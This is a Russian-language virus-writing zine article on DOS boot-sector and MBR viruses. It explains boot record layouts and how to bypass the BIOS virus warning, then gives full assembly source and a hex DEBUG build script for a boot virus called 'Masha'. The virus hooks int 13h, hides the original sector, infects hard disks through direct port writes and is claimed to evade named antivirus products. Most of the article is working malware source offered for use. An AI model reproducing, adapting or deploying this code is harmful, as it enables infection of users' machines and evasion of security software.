─[BOOT/MBR VIRUSES]───────────────────────────────────────────────────[KELLNY]─
Итак напомню всем, что boot - это не ботинок, а первый сектор дискеты, а
MBR как вы все знаете - Master Boot Record (первый сектор жесткого диска).
1. Для начала как обычно немного теории.
Boot viruses целесообразно совмещать с файловыми, но не будем распыляться,
посему ...
При загрузке компьютера Bios считывает первый сектор дискеты или диска
(смотря чего в setup указано) по адресу 0000:7C00h и передает на него управ-
ление.
1.1. Формат загрузочного сектора дискеты (0-дорожка, 0-сторона, 1-сектор).
┌──────────┬──────────────┬────────────────────────┐
│ Смещение │ Длина │ Комментарии │
├──────────┼──────────────┼────────────────────────┤
│ 0 │ 3 │ JMP на код загрузчика │
├──────────┼──────────────┼────────────────────────┤
│ 0003h │ 03Ah │ параметры дискеты │
├──────────┼──────────────┼────────────────────────┤
│ 003Eh │ 1C0h │ код загрузчика │
├──────────┼──────────────┼────────────────────────┤
│ 01FEh │ 2 │ Метка системного │
│ │ │ сектора 55AAh │
└──────────┴──────────────┴────────────────────────┘
1.2. Формат главной загрузочной записи (0-дорожка,0-сторона,1-сектор).
┌───────────┬─────────────┬─────────────────────────┐
│ Смещение │ Длина │ Комментарии │
├───────────┼─────────────┼─────────────────────────┤
│ 0 │ 01BCh │ маленькая программка │
│ │ │ грузящая boot активн- │
│ │ │ ого диска │
├───────────┼─────────────┼─────────────────────────┤
│ 01BEh │ 42h │ Partition Table │
│ │ │ таблица разделов │
│ │ │ винчестера │
├───────────┼─────────────┼─────────────────────────┤
│ 01FEh │ 2 │ Метка системного │
│ │ │ сектора 55AAh │
└───────────┴─────────────┴─────────────────────────┘
Наша задача скачать в вирус параметры дискеты или таблицу разделов если
заражаем винчестер (естественно туда где они должны находится). Затем ориги-
нальный загрузчик надо где-то зарыть (не забыть бы где), а на его место бух-
нуть вирь.
Кому не нравится такой способ может написать свой загрузчик уже с вирусом.
При загрузке компьютера вирус считывается по упомянутому адресу..., выде-
ляет для своих нужд кусок память, копируется туда, перехватывает прерывание,
затем копирует оригинал все по тому же адресу и отдает ему управление.
2. Ну, а теперь некоторые моменты поподробнее.
2.1. Начало вируса.
Входные регистры: CS:IP=0000:7C00H ; DX=0000
ES:BX=0000:7C00H
cli
xor di,di
mov ss,di
mov si,bx ; si=7c00h
mov sp,si ; устанавливаем стек
push ss
pop ds
sti
dec word ptr ds:413h ;выделяем кусок для виря
int 12h ;
mov cx,206h ;размер вируса
shl ax,cl ;в ax адрес будущего сегмента
push ax
push ax
cld
mov dl,0bdh ; dx=00bdh т.к. был dx=0
pop es
push dx
rep movsw
retf ;прыжок на новый сегмент
new_seg:
****:00bdh mov ax,...
..........
2.2. Проблема всех Boot вирусов - Virus Warning
2.2.1. Эту проблему можно снять, подкорректировав setup, но этот метод не-
удобен, т. к. надо определить фирму производителя (Award,Ami,...),.... и во-
обще очень непрактичный.
2.2.2. Уже не помню где я это видел. От этой проблемы избавлялись забивани-
ем "Y" буфера клавиатуры при загрузке. Это выглядит примерно так:
push cx
push dx
mov dx,16
tt:
mov ah,05h
mov cl,79h
mov ch,15h
int 16h
dec dx
jnz tt
pop dx
pop cx
Действует неплохо, но все таки можно узреть мигание белой рамки.
Я не проверял, но, по-моему, достаточно забить одну "Y".
2.2.3. На мой взгляд самый надежный - запись через порты. Я не буду приво-
дить примеры т.к. это отдельная статья.
2.3. Stealth в boot вирусах. В boot вирусах этот механизм предельно прост.
При попытке считать вирус подставляет оригинал.
3. Пример загрузочного вируса
Вирус безобидный. Заражает MBR диска и BOOT дискет, помещая оригинал для
дискет в 0/1/7, а для диска 0/0/7. При попытке считать вирь подставляет ори-
гинал, хотя этим пожалуй сейчас можно наколоть только diskedit.exe. Заражение
MBR через порты, что не пугает юзеров выскакиваемой надписью virus warning.
Да и еще кое-что, этот вирь работает как вы уже догадались на компах 286 и
выше ввиду практически полного вымирания 8086 и ему подобных (к тому же в
этом случае вирь укорачивается байт на 15).
Drweb 4.02, avp 3.0 не просекают.
Virusname: Маша
Author: (c) Kellny
Ну вот вроде и все.
компилить на masm v6.00
Мне влом писать инсталлятор, так что diskedit-ом оригинал в 0/1/7, а вирь
в 0/0/1. Параметы дискеты можно и не сохранять, так как все равно подстав-
ляется 0/1/7.
Вирь занимает 244 байта.
────[MASHA.ASM]──────[START]───────────────────────────────────────────────────
text segment 'code'
assume cs:text,ds:text
.286
org 0h
main: jmp start
main1:
org 3eh
int13h:
mov cs:[4dh],ah
int 0d8h
jc exit
pushf
push es
push ds
pusha
mov ax,0002h
cmp ah,al ;xx проверка ah=02
jnz get_out3
dec cx
jnz get_out3
inc cx
or dh,dh
jnz get_out3
push es
pop ds
cmp byte ptr ds:[bx+44h],0d8h ;проверка на зараженность
jz get_out1
cmp dl,cl
ja get_out3
mov ax,0301h
mov cl,07h ;прячим оригинал
inc dh
int 0d8h
mov cs:0d3h,dx
jc get_out3
push cs
pop es
mov di,offset main1 ;перекачка параметров дискеты
lea si,[bx+di]
mov cl,3eh-3
rep movsb
mov ah,03h ;запись вируса
xor bx,bx
inc cx
dec dh
jmp get_out
get_out1: ;<< Stealth >>
;подстава оригинала
cmp dl,cl
ja hdisk
inc dh
hdisk:
dec ax
mov cl,07h
get_out:
int 0d8h
get_out3:
popa
pop ds
pop es
popf
exit:
retf 2
start:
cli
xor di,di ;установка стека
mov ss,di
mov si,bx
mov sp,si
push ss ;+
pop ds ;-
sti
dec word ptr ds:413h
push ss ;+
int 12h
mov cx,206h
shl ax,cl
push ax ;+
push ax ;+
cld
mov dl,0beh
pop es ;-
push dx ;+
rep movsw
retf ;--
new_seg:
pop es ;-
mov si,13h*4 ; оригинальный int 13h вешаем на int d8h
mov di,0d8h*4
movsw
movsw
mov ds:[si-2],ax ; перехватываем int 13h на свой обработчик
mov word ptr ds:[si-4],offset int13h
mov ax,201h
mov dx,0100h ; хххх
mov cl,07h
push ax ;+
int 0d8h
pop ax ;-
cmp dl,80h
jz get_out2
dec dh
mov dl,80h
push cs ;+
push cs ;+
mov bh,ah
pop es ;-
pop ds ;-
mov cl,al
int 0d8h
jc get_out2
cmp byte ptr ds:[bx+44h],0d8h
jz get_out2
mov ax,0301h
mov cl,7
int 0d8h
jc get_out2
mov si,03beh
mov di,offset partition
mov cl,21h
rep movsw
mov ds:[0d3h],dx
mov dx,1f2h ;заражение
mov al,1
out dx,al
inc dx
out dx,al
inc dx
dec ax
out dx,al
inc dx
out dx,al
inc dx
mov al,0a0h
out dx,al
inc dx
mov al,30h
out dx,al
up:
in al,dx
test al,8
jz up
inc ch
xor si,si
mov dl,0f0h
rep outsw
get_out2:
int 19h
org 1beh
partition db (21h*2) dup (?)
org 510
sign dw 0aa55h
endd:
text ends
end main
────[MASHA.ASM]──────[END]─────────────────────────────────────────────────────
────[MASHA.SCR]──────[START]───────────────────────────────────────────────────
N MASHA.COM
E 0100 E9 99 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2E 88
E 0140 26 4D 00 CD D8 72 52 9C 06 1E 60 B8 02 00 3A E0
E 0150 75 43 49 75 40 41 0A F6 75 3B 06 1F 80 7F 44 D8
E 0160 74 28 3A D1 77 2F B8 01 03 B1 07 FE C6 CD D8 2E
E 0170 89 16 D3 00 72 1F 0E 07 BF 03 00 8D 31 B1 3B F3
E 0180 A4 B4 03 33 DB 41 FE CE EB 09 3A D1 77 02 FE C6
E 0190 48 B1 07 CD D8 61 1F 07 9D CA 02 00 FA 33 FF 8E
E 01A0 D7 8B F3 8B E6 16 1F FB FF 0E 13 04 16 CD 12 B9
E 01B0 06 02 D3 E0 50 50 FC B2 BE 07 52 F3 A5 CB 07 BE
E 01C0 4C 00 BF 60 03 A5 A5 89 44 FE C7 44 FC 3E 00 B8
E 01D0 01 02 BA 00 01 B1 07 50 CD D8 58 80 FA 80 74 4F
E 01E0 FE CE B2 80 0E 0E 8A FC 07 1F 8A C8 CD D8 72 3F
E 01F0 80 7F 44 D8 74 39 B8 01 03 B1 07 CD D8 72 30 BE
E 0200 BE 03 BF BE 01 B1 21 F3 A5 89 16 D3 00 BA F2 01
E 0210 B0 01 EE 42 EE 42 48 EE 42 EE 42 B0 A0 EE 42 B0
E 0220 30 EE EC A8 08 74 FB FE C5 33 F6 B2 F0 F3 6F CD
E 0230 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 AA
RCX
0200
W
Q
────[MASHA.SCR]──────[END]─────────────────────────────────────────────────────
(c) Kellny